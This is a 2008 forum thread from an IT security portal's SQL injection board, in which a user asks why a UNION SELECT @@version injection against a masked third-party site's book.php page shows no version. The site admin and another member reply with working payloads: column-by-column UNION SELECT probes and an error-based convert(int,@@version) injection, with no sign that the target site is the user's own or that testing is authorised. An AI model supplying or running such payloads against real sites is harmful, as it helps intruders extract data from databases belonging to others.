Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 24, 2012
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: jimysakura
New Today: 3
New Yesterday: 0
Overall: 8201

People Online:
Visitors: 231
Members: 0
Total: 231
milw0rm
·[webapps / 0day] - Aholattafun Creative Solutions SQL Injection Vulnerabilities
·[dos / poc] - PHP <= 5.4.3 (com_event_sink) Denial of Service
·[dos / poc] - PHP <= 5.4.3 wddx_serialize_* / stream_bucket_* Object Null Ptr Dereference
·[dos / poc] - Real-DRAW PRO 5.2.4 Import File Crash
·[dos / poc] - DVD-Lab Studio 1.25 DAL File Open Crash
·[webapps / 0day] - Vanilla Forums About Me Plugin Persistant XSS
·[local exploits] - Foxit Reader 3.0 Open Execute Action Stack Based Buffer Overflow
·[remote exploits] - HP StorageWorks P4000 Virtual SAN Appliance Command Execution
·[dos / poc] - Mozilla FireFox 12.0 Memory Corruption (with ROP)
·[webapps / 0day] - Ajaxmint-Gallery v1.0 <= CSRF Change Admin Password

read more...
PacketStorm News
·Mandriva Linux Security Advisory 2012-079
·Debian Security Advisory 2476-1
·Ubuntu Security Notice USN-1448-1
·Ubuntu Security Notice USN-1447-1
·Red Hat Security Advisory 2012-0683-01
·Red Hat Security Advisory 2012-0681-01
·Red Hat Security Advisory 2012-0679-01
·Red Hat Security Advisory 2012-0682-01
·Red Hat Security Advisory 2012-0677-01
·Red Hat Security Advisory 2012-0680-01

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> union all select @@version etc... returns a valid page
Post new topic  Reply to topic View previous topic :: View next topic 
union all select @@version etc... returns a valid page
PostPosted: Thu May 08, 2008 3:56 pm Reply with quote
mux0x55
Regular user
Regular user
 
Joined: May 08, 2008
Posts: 7




Hi @ all.
When I try this:

Code:
http://www.***********.com/book.php?id=25 union all select @@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 --


column number is correct but it returns a valid page without version info.

Why? Can You help me?
View user's profile Send private message
PostPosted: Thu May 08, 2008 4:48 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2399
Location: Estonia, Tartu




How do you know, that this is valid sql injection? Did you tried other column counts and got error messages?
Next question - are you sure, that column 1 is able to feed back the needed data?
Look at response html - can you see columns feedback (numbers 2,3,4 etc)?
If so, then use @@version in place of right column.
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Thu May 08, 2008 5:33 pm Reply with quote
Snap
Active user
Active user
 
Joined: Apr 14, 2008
Posts: 25




just try with ..

Code:
1 and 1=convert(int,@@version)--


cheers !
View user's profile Send private message
PostPosted: Fri May 09, 2008 9:10 am Reply with quote
mux0x55
Regular user
Regular user
 
Joined: May 08, 2008
Posts: 7




Thank you for ur answers guys...
Then... I told that those are right columns 'cause when I try a column number less then 20 I got the error msg '... sql statements must have equal number etc...'
Am I wrong?

Thank you again...
View user's profile Send private message
PostPosted: Fri May 09, 2008 1:32 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2399
Location: Estonia, Tartu




Try all columns for visual feedback:

Code:

http://www.***********.com/book.php?id=25 union all select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+


Code:

http://www.***********.com/book.php?id=25 union all select 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+


... and so on till last column. And look for feedback (version information).
View user's profile Send private message Send e-mail Visit poster's website
union all select @@version etc... returns a valid page
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2010 Janek Vind "waraxe"

Page Generation: 0.078 Seconds